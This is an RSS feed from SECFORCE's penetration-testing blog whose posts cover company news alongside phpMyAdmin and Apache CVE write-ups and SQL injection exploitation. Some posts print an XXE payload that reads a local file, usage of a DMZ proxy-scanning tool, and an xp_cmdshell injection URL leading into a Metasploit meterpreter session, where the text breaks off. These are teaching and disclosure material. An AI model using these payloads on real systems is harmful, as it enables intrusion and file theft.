<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>SECFORCE :: Blog</title>
	<atom:link href="http://www.secforce.com/blog/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.secforce.com/blog</link>
	<description>IT Security and penetration testing blog</description>
	<pubDate>Thu, 12 Jan 2012 16:34:56 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6.2</generator>
	<language>en</language>
			<item>
		<title>CVE-2011-4107 PoC - phpMyAdmin Local File Inclusion via XXE injection</title>
		<link>http://www.secforce.com/blog/2012/01/cve-2011-4107-poc-phpmyadmin-local-file-inclusion-via-xxe-injection/</link>
		<comments>http://www.secforce.com/blog/2012/01/cve-2011-4107-poc-phpmyadmin-local-file-inclusion-via-xxe-injection/#comments</comments>
		<pubDate>Thu, 12 Jan 2012 10:51:03 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Penetration Testing]]></category>

		<category><![CDATA[Security research]]></category>

		<category><![CDATA[Vulnerabilities]]></category>

		<category><![CDATA[exploit]]></category>

		<category><![CDATA[CVE-2011-4107]]></category>

		<category><![CDATA[Local file inclusion]]></category>

		<category><![CDATA[phpMyAdmin]]></category>

		<category><![CDATA[PoC]]></category>

		<category><![CDATA[XEE injection]]></category>

		<guid isPermaLink="false">http://www.secforce.com/blog/?p=212</guid>
		<description><![CDATA[An interesting local file inclusion vulnerability has been recently published. An XXE (XML eXternal Entity) injection attack, which affects phpMyAdmin 3.4.x previous to 3.4.7.1 and 3.3.x previous to 3.3.10.5. - CVE-2011-4107
The issue is located in the libraries\import\xml.php file, where the simplexml_load_string() function is called without validating the existence of a reference to an external entity on [...]]]></description>
			<content:encoded><![CDATA[<p>An interesting local file inclusion vulnerability has been recently published. An XXE (XML eXternal Entity) injection attack, which affects phpMyAdmin 3.4.x previous to 3.4.7.1 and 3.3.x previous to 3.3.10.5. - <a href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-4107">CVE-2011-4107</a></p>
<p style="text-align: left; ">The issue is located in the libraries\import\xml.php file, where the simplexml_load_string() function is called without validating the existence of a reference to an external entity on the file:</p>
<blockquote>
<p style="text-align: left; ">$xml = simplexml_load_string($buffer, &#8220;SimpleXMLElement&#8221;, LIBXML_COMPACT);</p>
</blockquote>
<p style="text-align: left; ">
<p style="text-align: left; ">Patched versions make use of the <a href="http://php.net/manual/en/function.libxml-disable-entity-loader.php" target="_blank">libxml_disable_entity_loader()</a> PHP function before loading the XML document, in order to prevent the injection. <a href="http://php.net/manual/en/function.libxml-disable-entity-loader.php" target="_blank">libxml_disable_entity_loader()</a> function disables the ability to load external entities.</p>
<p style="text-align: left; ">phpMyAdmin offers the functionality of importing a database from a user-specified XML file. In vulnerable versions importing a specially-crafted XML file which contains an external XML entity permits an authenticated attacker to retrieve a local file from the server or network (limited by the privileges of the user running the web server).</p>
<p>It is well understood that the <a title="MySQL LOAD_FILE" href="http://dev.mysql.com/doc/refman/5.0/en/string-functions.html#function_load-file" target="_blank">LOAD_FILE</a> MySQL function could be used to gain read access to files in the database file system, however there are configurations where phpMyAdmin is installed on a different host than the database and therefore exploitation of this issue could become handy in <a title="Penetration testing" href="http://www.secforce.com/penetration-testing/penetration-testing.php" target="_blank">penetration testing</a> engagements.</p>
<p><span>SECFORCE has developed a metasploit module </span>to assist the exploitation of this vulnerability. It is available for download from our <a title="Security tools" href="http://www.secforce.co.uk/research/tools.html" target="_self">security tools section</a> on our website.</p>
<p>This module automates the process of local file inclusion in the following way:</p>
<ol>
<li>Logging in into phpMyAdmin using provided credentials.</li>
<li>Crafting an XML using XXE with the given file to read.</li>
<li>Uploading the XML</li>
<li>Retrieving the file from the server or network (restricted by the privileges of the user running the web server ).</li>
</ol>
<div>
<p>The module has the options shown in the following screenshot:</p>
<p style="text-align: center;"><img class="size-full wp-image-224  aligncenter" title="modules-auxiliary-phpmyadmin-lfi" src="http://www.secforce.com/blog/wp-content/uploads/2012/01/modules-auxiliary-phpmyadmin-lfi.png" alt="" width="360" height="189" /></p>
<p style="text-align: center;"><strong><br />
</strong></p>
<p><span>An example of a successful run of the module is presented in the screenshot below:</span></p>
<dt class="wp-caption-dt" style="text-align: center;"><strong><img class="size-full wp-image-229" title="modules-auxiliary-phpmyadmin-output" src="http://www.secforce.com/blog/wp-content/uploads/2012/01/modules-auxiliary-phpmyadmin-output1.png" alt="Example of a successful file read" width="360" height="254" /></strong></dt>
<dt class="wp-caption-dt" style="text-align: center;"><strong>Example of successfully reading a file</strong></dt>
<p style="text-align: center; "><strong><br />
</strong></p>
</div>
<p><strong>Defining XML external entity </strong><strong>(XXE)</strong><strong> injection attack as part of XML injection vulnerability:</strong></p>
<p><strong>XML injection </strong></p>
<p><span>XML Injection is when is is possible to change the values of an XML document and the XML parser fails to make an appropriate data validation this way making the injection possible. </span></p>
<p><strong><strong>XML external entity injection attack (XXE)</strong></strong></p>
<p><em><strong>&#8220;External Entity:</strong> The set of valid entities can be extended by defining new entities. If the definition of an entity is a URI, the entity is called an external entity. Unless configured to do otherwise, external entities force the XML parser to access the resource specified by the URI, e.g., a file on the local machine or on a remote systems. This behavior exposes the application to XML eXternal Entity (XXE) attacks, which can be used to perform denial of service of the local system, gain unauthorized access to files on the local machine, scan remote machines, and perform denial of service of remote systems.&#8221; - (<a href="https://www.owasp.org/index.php/Testing_for_XML_Injection_(OWASP-DV-008)">OWASP-DV-008</a>)</em></p>
<p><strong>XXE Example:</strong></p>
<pre><strong> &lt;?xml version="1.0" encoding="ISO-8859-1"?&gt;
 &lt;!DOCTYPE foo [
   &lt;!ELEMENT foo ANY &gt;
   &lt;!ENTITY xxe SYSTEM "file:///c:/boot.ini" &gt;]&gt;&lt;foo&gt;&amp;xxe;&lt;/foo&gt;</strong></pre>
<p>phpMyAdmin has released patched versions available for download from <a href="http://www.phpmyadmin.net/home_page/security/PMASA-2011-17.php" target="_blank">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.secforce.com/blog/2012/01/cve-2011-4107-poc-phpmyadmin-local-file-inclusion-via-xxe-injection/feed/</wfw:commentRss>
		</item>
		<item>
		<title>CVE-2011-3368 PoC - Apache Proxy Scanner</title>
		<link>http://www.secforce.com/blog/2011/10/cve-2011-3368-poc-apache-proxy-scanner/</link>
		<comments>http://www.secforce.com/blog/2011/10/cve-2011-3368-poc-apache-proxy-scanner/#comments</comments>
		<pubDate>Mon, 10 Oct 2011 19:03:09 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Penetration Testing]]></category>

		<category><![CDATA[Tools]]></category>

		<category><![CDATA[Vulnerabilities]]></category>

		<category><![CDATA[Apache]]></category>

		<category><![CDATA[apache_proxy_scanner]]></category>

		<category><![CDATA[CVE-2011-3368]]></category>

		<category><![CDATA[mod_proxy]]></category>

		<category><![CDATA[mod_rewrite]]></category>

		<category><![CDATA[PoC]]></category>

		<category><![CDATA[SECFORCE]]></category>

		<guid isPermaLink="false">http://www.secforce.co.uk/blog/?p=195</guid>
		<description><![CDATA[A recent Apache vulnerability has been made public whereby an attacker could gain unauthorised access to content in the DMZ network:
The mod_proxy module in the Apache HTTP Server 1.3.x through 1.3.42, 2.0.x through 2.0.64, and 2.2.x through 2.2.21 does not properly interact with use of (1) RewriteRule and (2) ProxyPassMatch pattern matches for configuration of [...]]]></description>
			<content:encoded><![CDATA[<p>A recent <a href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2011-3368" target="_blank">Apache vulnerability</a> has been made public whereby an attacker could gain unauthorised access to content in the DMZ network:</p>
<blockquote><p>The mod_proxy module in the Apache HTTP Server 1.3.x through 1.3.42, 2.0.x through 2.0.64, and 2.2.x through 2.2.21 does not properly interact with use of (1) RewriteRule and (2) ProxyPassMatch pattern matches for configuration of a reverse proxy, which allows remote attackers to send requests to intranet servers via a malformed URI containing an initial @ (at sign) character.</p></blockquote>
<p>SECFORCE has developed a proof of concept for this vulnerability, available for download from our <a title="Security tools" href="http://www.secforce.co.uk/research/tools.html" target="_self">security tools section</a> on our website. The script exploits the vulnerability and allows the user to retrieve arbitrary known files from the DMZ. The tool can also be used to perform a port scan of the web server using the Apache proxy functionality, and therefore bypassing any firewall.</p>
<p>The following output shows the usage of the tool:</p>
<pre>python apache_proxy_scanner.py
CVE-2011-3368 proof of concept by Rodrigo Marcos
http://www.secforce.co.uk
usage():
python apache_scan.py [options]
 [options]
    -r: Remote Apache host
    -p: Remote Apache port (default is 80)
    -u: URL on the remote web server (default is /)
    -d: Host in the DMZ (default is 127.0.0.1)
    -e: Port in the DMZ (enables 'single port scan')
    -g: GET request to the host in the DMZ (default is /)
    -h: Help page
examples:
 - Port scan of the remote host
    python apache_scan.py -r www.example.com -u /img/test.gif
 - Port scan of a host in the DMZ
    python apache_scan.py -r www.example.com -u /img/test.gif
	-d internalhost.local
- Retrieve a resource from a host in the DMZ
    python apache_scan.py -r www.example.com -u /img/test.gif
	-d internalhost.local -e 80 -g /accounts/index.html</pre>
<p>The tool can be used to perform a portscan of the target host in the following way:</p>
<pre>python apache_proxy_scanner.py -r &lt;target&gt; -u &lt;uri&gt;</pre>
<p>The following screenshot shows the result of the command above:</p>
<div id="attachment_197" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.secforce.co.uk/blog/wp-content/uploads/2011/10/apache_scanner_local_scan.png"><img class="size-medium wp-image-197" title="apache_scanner_local_scan" src="http://www.secforce.co.uk/blog/wp-content/uploads/2011/10/apache_scanner_local_scan-300x253.png" alt="Apache proxy port scan results" width="300" height="253" /></a><p class="wp-caption-text">Apache proxy port scan results</p></div>
<p>The script can be used to perform a bounce scan of a host in the DMZ or in the Internet:</p>
<pre>python apache_proxy_scanner.py -r 192.168.85.161
	-u /rewrite/test -d internalhost</pre>
<pre>python apache_proxy_scanner.py -r 192.168.85.161
	-u /rewrite/test -d www.example.com</pre>
<p>Apache_proxy_scanner will report open/filtered/closed ports in internal and external hosts.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.secforce.com/blog/2011/10/cve-2011-3368-poc-apache-proxy-scanner/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Proxyfuzz fuzzer RPM binary</title>
		<link>http://www.secforce.com/blog/2011/09/proxyfuzz-fuzzer-rpm-binary/</link>
		<comments>http://www.secforce.com/blog/2011/09/proxyfuzz-fuzzer-rpm-binary/#comments</comments>
		<pubDate>Thu, 22 Sep 2011 08:56:10 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Fuzzing]]></category>

		<category><![CDATA[SECFORCE]]></category>

		<category><![CDATA[Security research]]></category>

		<category><![CDATA[network protocol fuzzing]]></category>

		<category><![CDATA[proxyfuzz]]></category>

		<category><![CDATA[research]]></category>

		<category><![CDATA[RPM]]></category>

		<guid isPermaLink="false">http://www.secforce.co.uk/blog/?p=189</guid>
		<description><![CDATA[Proxyfuzz is now available in RPM format for Fedora users. Petr Sklenar has created and uploaded the RPM version, available for download here.
Source code and windows binaries can still be found in the security research section of our website.
Proxyfuzz is a protocol agnostic fuzzer which randomly fuzzes network traffic following a man-in-the-middle approach. The tool is designed to [...]]]></description>
			<content:encoded><![CDATA[<p>Proxyfuzz is now available in RPM format for <a title="Fedora" href="http://fedoraproject.org/">Fedora</a> users. Petr Sklenar has created and uploaded the RPM version, available for download <a title="Proxyfuzz RPM binary" href="http://people.redhat.com/psklenar/pub/proxyfuzz/">here</a>.</p>
<p>Source code and windows binaries can still be found in the <a title="Security tools" href="http://www.secforce.co.uk/research/tools.html">security research</a> section of our website.</p>
<p>Proxyfuzz is a protocol agnostic fuzzer which randomly fuzzes network traffic following a man-in-the-middle approach. The tool is designed to randomly inject a number of fuzzing signatures to the data that goes through it. It is incredibly easy to set up and can be used to research any TCP and UDP protocol.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.secforce.com/blog/2011/09/proxyfuzz-fuzzer-rpm-binary/feed/</wfw:commentRss>
		</item>
		<item>
		<title>SECFORCE is now CREST certified</title>
		<link>http://www.secforce.com/blog/2011/07/secforce-is-now-crest-certified/</link>
		<comments>http://www.secforce.com/blog/2011/07/secforce-is-now-crest-certified/#comments</comments>
		<pubDate>Mon, 25 Jul 2011 13:42:36 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[CREST]]></category>

		<category><![CDATA[Penetration Testing]]></category>

		<category><![CDATA[SECFORCE]]></category>

		<category><![CDATA[CREST security]]></category>

		<category><![CDATA[penetration test]]></category>

		<guid isPermaLink="false">http://www.secforce.co.uk/blog/?p=180</guid>
		<description><![CDATA[As part of the SECFORCE commitment to ensuring the provision of high quality services, SECFORCE has now achieved CREST certification. This will further complement the strong existing  methodology and work of ethics.
SECFORCE is already recognised as one of the leading penetration testing service providers in both the UK and Europe with the ability to [...]]]></description>
			<content:encoded><![CDATA[<p>As part of the SECFORCE commitment to ensuring the provision of high quality services, SECFORCE has now achieved <a title="CREST" href="http://www.crest-approved.org/" target="_blank">CREST</a> certification. This will further complement the strong existing  methodology and work of ethics.</p>
<p class="western">SECFORCE is already recognised as one of the leading <a title="Penetration Testing" href="http://www.secforce.co.uk/penetration-testing/penetration-testing.php" target="_self">penetration testing</a> service providers in both the UK and Europe with the ability to demonstrate expertise and professionalism to ensure clients are totally satisfied.</p>
<p class="western">
<div id="attachment_186" class="wp-caption aligncenter" style="width: 218px"><a href="http://www.secforce.co.uk/blog/wp-content/uploads/2011/07/crest2.png"><img class="size-medium wp-image-186" title="CREST Penetration Testing" src="http://www.secforce.co.uk/blog/wp-content/uploads/2011/07/crest2.png" alt="CREST Penetration Testing" width="208" height="208" /></a><p class="wp-caption-text">CREST Penetration Testing</p></div>
<p class="western">
<p class="western">“<em>CREST is a not for profit organisation which brings a demonstrable level of expertise and professionalism to security and penetration testing market. The bar for entry is set very high to protect the interests of the buying community and provide a clear differentiator for professional testing companies. There are very few companies in the UK who can meet the requirements of CREST and those that do, like SECFORCE, have had to demonstrated the processes they utilise for testing are sound, they have adopted industry best practice in their approach to testing and they handle sensitive client information in an appropriate manner.”</em></p>
<p class="western" align="RIGHT">Ian Glover, President of CREST</p>
<p class="western">
<p class="western">The addition of CREST certification will provide further reassurance and confidence to the many clients where SECFORCE has already built a strong working relationship.</p>
<p class="western">
<p class="western">“<em>We are really pleased that CREST certification has been achieved and view this as an important step forward in the continue enhancement of our service delivery”</em></p>
<p class="western" align="RIGHT">Rodrigo Marcos, Technical Services Director</p>
<p class="western" style="text-align: left;"><span>For more information about our CREST assessments and discover how we can benefit your organization, please visit our <a href="http://www.secforce.co.uk/penetration-testing/crest-penetration-testing.php">CREST penetration testing</a> page.</span></p>
<p class="western" style="text-align: left;">
]]></content:encoded>
			<wfw:commentRss>http://www.secforce.com/blog/2011/07/secforce-is-now-crest-certified/feed/</wfw:commentRss>
		</item>
		<item>
		<title>GUI manipulation and penetration testing</title>
		<link>http://www.secforce.com/blog/2011/07/gui-manipulation-and-penetration-testing/</link>
		<comments>http://www.secforce.com/blog/2011/07/gui-manipulation-and-penetration-testing/#comments</comments>
		<pubDate>Fri, 15 Jul 2011 14:31:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Penetration Testing]]></category>

		<category><![CDATA[Tools]]></category>

		<category><![CDATA[application manipulation]]></category>

		<category><![CDATA[application penetration testing]]></category>

		<category><![CDATA[application security]]></category>

		<category><![CDATA[Denabler]]></category>

		<category><![CDATA[desktop security]]></category>

		<category><![CDATA[GUI]]></category>

		<category><![CDATA[gui manipulation]]></category>

		<category><![CDATA[gui penetration test]]></category>

		<guid isPermaLink="false">http://www.secforce.co.uk/blog/?p=170</guid>
		<description><![CDATA[Whilst in the web application development world it is becoming very well understood that &#8220;you should never trust the data from the client side&#8221;, this is not always the case in local applications.
In web environments any restriction enforced at the client side can be easily bypassed with the use of a web proxy. However, security mechanisms enforced [...]]]></description>
			<content:encoded><![CDATA[<p>Whilst in the web application development world it is becoming very well understood that &#8220;you should never trust the data from the client side&#8221;, this is not always the case in local applications.</p>
<p>In web environments any restriction enforced at the client side can be easily bypassed with the use of a web proxy. However, security mechanisms enforced in desktop applications sometimes can be manipulated to perform unauthorised actions.</p>
<p>During a recent <a title="Penetration testing" href="http://www.secforce.co.uk/penetration-testing/penetration-testing.php" target="_blank">penetration test</a> we found a desktop application which needed to be assessed in regard to security. GUI manipulation was used to conduct a number of attacks.</p>
<p>The tool of choice for this particular attack was &#8220;<a href="http://progress-tools.110mb.com/denabler.html" target="_blank">DARKER&#8217;s Enabler</a>&#8220;:</p>
<div id="attachment_171" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.secforce.co.uk/blog/wp-content/uploads/2011/07/untitled.png"><img class="size-medium wp-image-171" title="Denabler window" src="http://www.secforce.co.uk/blog/wp-content/uploads/2011/07/untitled-300x294.png" alt="Denabler used for GUI manipulation" width="300" height="294" /></a><p class="wp-caption-text">Denabler used for GUI manipulation</p></div>
<p>DARKER&#8217;s enabler is a tool which allows showing and enabling objects in Windows applications.</p>
<p>The application to be tested had a number of disabled fields that required to be modified for the purpose of the penetration test. Specifically the &#8220;Encrypt&#8221; checkbox needed to be unchecked, however the application showed the field disabled:</p>
<div id="attachment_172" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.secforce.co.uk/blog/wp-content/uploads/2011/07/window_original.png"><img class="size-medium wp-image-172" title="window_original" src="http://www.secforce.co.uk/blog/wp-content/uploads/2011/07/window_original-300x198.png" alt="Original application window" width="300" height="198" /></a><p class="wp-caption-text">Original application window</p></div>
<p>With Denabler we dragged-and-dropped the red square to the target application in order to identify de Windows handler of the field and then enabled it:</p>
<div id="attachment_173" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.secforce.co.uk/blog/wp-content/uploads/2011/07/darker-in-action.png"><img class="size-medium wp-image-173" title="darker-in-action" src="http://www.secforce.co.uk/blog/wp-content/uploads/2011/07/darker-in-action-300x295.png" alt="Denabler in action" width="300" height="295" /></a><p class="wp-caption-text">Denabler in action</p></div>
<p>The action enabled the field and allowed the penetration testers to disable the encryption in the application, which resulted vital in the outcome of the penetration test:</p>
<div id="attachment_174" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.secforce.co.uk/blog/wp-content/uploads/2011/07/window_changed.png"><img class="size-medium wp-image-174" title="window_changed" src="http://www.secforce.co.uk/blog/wp-content/uploads/2011/07/window_changed-300x200.png" alt="Window after enabling the fields" width="300" height="200" /></a><p class="wp-caption-text">Window after enabling the fields</p></div>
<p>As shown above, GUI manipulation can lead to unwanted consequences. Extra caution needs to be exercised during the planning and development process to minimize the risk of GUI manipulation.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.secforce.com/blog/2011/07/gui-manipulation-and-penetration-testing/feed/</wfw:commentRss>
		</item>
		<item>
		<title>SECFORCE invited to present at Athcon</title>
		<link>http://www.secforce.com/blog/2011/06/secforce-invited-to-present-at-athcon/</link>
		<comments>http://www.secforce.com/blog/2011/06/secforce-invited-to-present-at-athcon/#comments</comments>
		<pubDate>Sat, 18 Jun 2011 10:54:40 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Penetration Testing]]></category>

		<category><![CDATA[SECFORCE]]></category>

		<category><![CDATA[Tools]]></category>

		<category><![CDATA[Athcon]]></category>

		<category><![CDATA[exploitation]]></category>

		<category><![CDATA[metasploit]]></category>

		<category><![CDATA[post-exploitation]]></category>

		<category><![CDATA[presentations]]></category>

		<guid isPermaLink="false">http://www.secforce.co.uk/blog/?p=164</guid>
		<description><![CDATA[SECFORCE was invited to present at Athcon conference, held in Athens during 2nd and 3rd June 2011.
AthCon is an annual IT security conference that takes place in Athens Greece designed to give a technical insight to the world of IT security. A realistic, practical view of current and evolving threats and security trends presented by [...]]]></description>
			<content:encoded><![CDATA[<p>SECFORCE was invited to present at Athcon conference, held in Athens during 2nd and 3rd June 2011.</p>
<p><a title="Athcon" href="http://www.athcon.org" target="_blank">AthCon</a> is an annual IT security conference that takes place in Athens Greece designed to give a technical insight to the world of IT security. A realistic, practical view of current and evolving threats and security trends presented by top international security experts.</p>
<div class="mceTemp">
<dl id="attachment_165" class="wp-caption alignnone" style="width: 231px;">
<dt class="wp-caption-dt"><a href="http://www.secforce.co.uk/blog/wp-content/uploads/2011/06/athcon2011.jpg"><img class="size-medium wp-image-165" title="athcon2011" src="http://www.secforce.co.uk/blog/wp-content/uploads/2011/06/athcon2011.jpg" alt="Athcon" width="221" height="60" /></a></dt>
</dl>
</div>
<p>SECFORCE presented a talk called &#8220;What you didn&#8217;t know about Metasploit&#8221;, covering the history of the Metasploit Framework, architecture, exploitation and post-exploitation features.</p>
<p>The Metasploit Framework is mainly used for exploitation purposes during <a title="Penetration testing" href="http://www.secforce.co.uk/penetration-testing/penetration-testing.php" target="_self">penetration testing</a> engagements.</p>
<p>You can download the slides from the talk from our <a title="IT security research" href="http://www.secforce.co.uk/research/presentations.html" target="_self">security research</a> area.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.secforce.com/blog/2011/06/secforce-invited-to-present-at-athcon/feed/</wfw:commentRss>
		</item>
		<item>
		<title>SECFORCE achieves quality management ISO 9001 certification</title>
		<link>http://www.secforce.com/blog/2011/04/secforce-achieves-quality-management-iso-9001-certification/</link>
		<comments>http://www.secforce.com/blog/2011/04/secforce-achieves-quality-management-iso-9001-certification/#comments</comments>
		<pubDate>Wed, 06 Apr 2011 11:07:37 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[SECFORCE]]></category>

		<category><![CDATA[client satisfaction]]></category>

		<category><![CDATA[ISO9001]]></category>

		<category><![CDATA[quality management]]></category>

		<guid isPermaLink="false">http://www.secforce.co.uk/blog/?p=161</guid>
		<description><![CDATA[SECFORCE has achieved recognition for its quality management systems with the award of ISO 9001:2008.
The certification recognises the company&#8217;s commitment to quality management systems used in the delivery of IT security services to SECFORCE customers and to continuous improvement processes and procedures.
For customers this achievement will enhance their confidence in the high quality of SECFORCE&#8217;s [...]]]></description>
			<content:encoded><![CDATA[<p>SECFORCE has achieved recognition for its quality management systems with the award of ISO 9001:2008.</p>
<p>The certification recognises the company&#8217;s commitment to quality management systems used in the delivery of <a title="IT Security services" href="http://www.secforce.co.uk" target="_self">IT security services</a> to SECFORCE customers and to continuous improvement processes and procedures.</p>
<p>For customers this achievement will enhance their confidence in the high quality of SECFORCE&#8217;s services and will guarantee a more efficient and effective business operation, increasing customer satisfaction. As quality is constantly measured and procedures ensure corrective actions are taken whenever defects occur, our clients will be benefited by an ever increasing excellent service.</p>
<p>Certification was awarded by The British Assessment Bureau, a UKAS accredited authority, by a series of independent audits.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.secforce.com/blog/2011/04/secforce-achieves-quality-management-iso-9001-certification/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Benefits of penetration testing</title>
		<link>http://www.secforce.com/blog/2011/02/benefits-of-penetration-testing/</link>
		<comments>http://www.secforce.com/blog/2011/02/benefits-of-penetration-testing/#comments</comments>
		<pubDate>Tue, 22 Feb 2011 22:47:24 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Business Continuity]]></category>

		<category><![CDATA[Penetration Testing]]></category>

		<category><![CDATA[Risk Management]]></category>

		<category><![CDATA[Security Compliance]]></category>

		<category><![CDATA[benefits penetration testing]]></category>

		<category><![CDATA[client-side attacks]]></category>

		<category><![CDATA[IT security investment]]></category>

		<category><![CDATA[penetration]]></category>

		<category><![CDATA[risk]]></category>

		<category><![CDATA[testing]]></category>

		<guid isPermaLink="false">http://www.secforce.co.uk/blog/?p=155</guid>
		<description><![CDATA[One of the questions that we get from time to time is “Why should I conduct a penetration test?” Undoubtedly every business works in a different way and the value of conducting a penetration test varies in each case. Some businesses might manage IT security in a different way than others and therefore a penetration [...]]]></description>
			<content:encoded><![CDATA[<p>One of the questions that we get from time to time is “Why should I conduct a penetration test?” Undoubtedly every business works in a different way and the value of conducting a <a title="Penetration test" href="http://www.secforce.co.uk/penetration-testing/penetration-testing.php" target="_self">penetration test</a> varies in each case. Some businesses might manage IT security in a different way than others and therefore a penetration test might be relevant in different ways. However, it is possible to find some common ground which will almost certainly apply to every organization.</p>
<p class="western">The following list shows the main benefits of <a title="Penetration testing" href="http://www.secforce.co.uk/penetration-testing/penetration-testing.php" target="_self">penetration testing</a>:</p>
<ul>
<p class="western">
</ul>
<ul>
<li>
<p class="western">Manage Risk 	Properly</p>
</li>
</ul>
<p class="western">For many organizations the foremost benefit of commissioning a penetration test is that it will give you a baseline to work upon in order to mitigate the risk in an structured and optimal way.</p>
<p class="western">A penetration test will show you the vulnerabilities in the target system and the risks associated to it. An educated valuation of the risk will be performed so that the vulnerabilities can be reported as High/Medium/Low risk issues.</p>
<p class="western">The categorization of the risk will allow you to tackle the highest risks first, maximising your resources and minimizing the risk efficiently.</p>
<ul>
<li>
<p class="western">Increase Business 	Continuity</p>
</li>
</ul>
<p class="western">Business continuity is usually the number one security concern for many organizations. A breach in the business continuity can happen due to a number of reasons. Lack of security is one of them.</p>
<p class="western">Insecure systems are more likely to suffer a breach in their availability than secured and hardened ones. Vulnerabilities can very often be exploited to produce a denial of service condition which usually crashes the vulnerable service and breaches the server availability.</p>
<p class="western">Penetration testing against mission critical systems needs to be coordinated, carefully planed and mindful in the execution.</p>
<ul>
<li>
<p class="western">Minimize Client-side Attacks</p>
</li>
</ul>
<p class="western">Penetration testing is an effective way of ensuring that successful highly targeted client-side attacks against key members of your staff are minimized.</p>
<p class="western">Security should be treated with a holistic approach. Companies only assessing the security of their servers run the risk of being targeted with client-side attacks exploiting vulnerabilities in software like web browsers, pdf readers, etc. It is important to ensure that the patch management processes are working properly updating the Operating System and third party applications.</p>
<ul>
<li>
<p class="western">Protect Clients, 	Partners And Third Parties</p>
</li>
</ul>
<p class="western">A security breach could affect not only the target organization, but also their clients, partners and third parties working with it. Taking the necessary actions towards security will enhance professional relationships building up trust and confidence.</p>
<ul>
<li>
<p class="western">Comply With 	Regulation or Security Certification</p>
</li>
</ul>
<p class="western">The compliance section in the ISO27001 standard requires managers and system owners to perform regular security reviews and penetration tests, unertaken by competent testers.</p>
<p class="western">PCI DSS also addresses penetration testing to relevant systems performed by qualified penetration testers.</p>
<ul>
<li>
<p class="western">Evaluate Security 	Investment</p>
</li>
</ul>
<p class="western">A snapshot of the current security posture and an opportunity to identify potential breach points.</p>
<p class="western">The penetration test will provide you with an independent view of the effectiveness of your existing security processes in place, ensuring that patching and configuration management practices have been followed correctly.</p>
<p class="western">This is an ideal opportunity to review the efficiency of the current security investment. What is working, what is not working and what needs to be improved.</p>
<ul>
<li>
<p class="western">Protect Public 	Relationships And Brand Issues</p>
</li>
</ul>
<p class="western">A good PR and brand position built up during years and with considerable investment can be suddenly change due to a security breach. Public perception of an organization is very sensitive to security issues and can have devastating consequences which may take years to repair.</p>
<p class="western">
<p class="western">As this post explains, there are very valid reasons to perform a penetration test in your infrastructure. <a title="Contact us - penetration testing" href="http://www.secforce.co.uk/contact/index.php" target="_self">Contact us</a> if you need some more details on how we can help you.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.secforce.com/blog/2011/02/benefits-of-penetration-testing/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Exploiting SQL injection vulnerabilities with Metasploit</title>
		<link>http://www.secforce.com/blog/2011/01/penetration-testing-sql-injection-and-metasploit/</link>
		<comments>http://www.secforce.com/blog/2011/01/penetration-testing-sql-injection-and-metasploit/#comments</comments>
		<pubDate>Thu, 27 Jan 2011 09:38:31 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Penetration Testing]]></category>

		<category><![CDATA[SECFORCE]]></category>

		<category><![CDATA[SQL Server]]></category>

		<category><![CDATA[Tools]]></category>

		<category><![CDATA[Vulnerabilities]]></category>

		<category><![CDATA[exploit]]></category>

		<category><![CDATA[sql injection]]></category>

		<category><![CDATA[exploitation]]></category>

		<category><![CDATA[metasploit]]></category>

		<category><![CDATA[ms sql server]]></category>

		<guid isPermaLink="false">http://www.secforce.co.uk/blog/?p=141</guid>
		<description><![CDATA[In this post we are going to show how to exploit a SQL injection vulnerability on a web application using Microsoft SQL server backend where xp_cmdshell is available to the attacker.
Given a penetration test to a web application it is identified that it is vulnerable to SQL injection attacks and the penetration tester can execute [...]]]></description>
			<content:encoded><![CDATA[<p>In this post we are going to show how to exploit a SQL injection vulnerability on a web application using Microsoft SQL server backend where <em>xp_cmdshell</em> is available to the attacker.</p>
<p>Given a <a title="Penetration testing" href="http://www.secforce.co.uk/penetration-testing/penetration-testing.php" target="_self">penetration test</a> to a web application it is identified that it is vulnerable to SQL injection attacks and the penetration tester can execute administrative stored procedures:</p>
<blockquote><p>http://192.168.1.66/showproduct.asp?id=1;exec master..xp_cmdshell &#8216;ping 192.168.1.64&#8242;;&#8211;</p></blockquote>
<p>If the request shown above is successful then arbitrary commands could be executed in the host. At this point, there are a number of options that would allow the tester to fully compromise the server. There are public tools which could aid the attacker to automate the take over process. This post will cover the use of a Metasploit module.</p>
<p>The <em>mssql_payload_sqli</em> module will execute any Windows payload on the target host. In this example we will execute meterpreter which is one of the payloads that offers great flexibility to the penetration tester.</p>
<p>It is necessary to specify the exact point where the SQL injection vulnerability is. We do that by entering the GET_PATH variable with an [SQLi] token. The token will be the place where the payload will be executed. The rest of the exploitation process is the same as any other vulnerability, this is the exploitation based on the URL shown above:</p>
<pre>msf &gt; use windows/mssql/mssql_payload_sqli

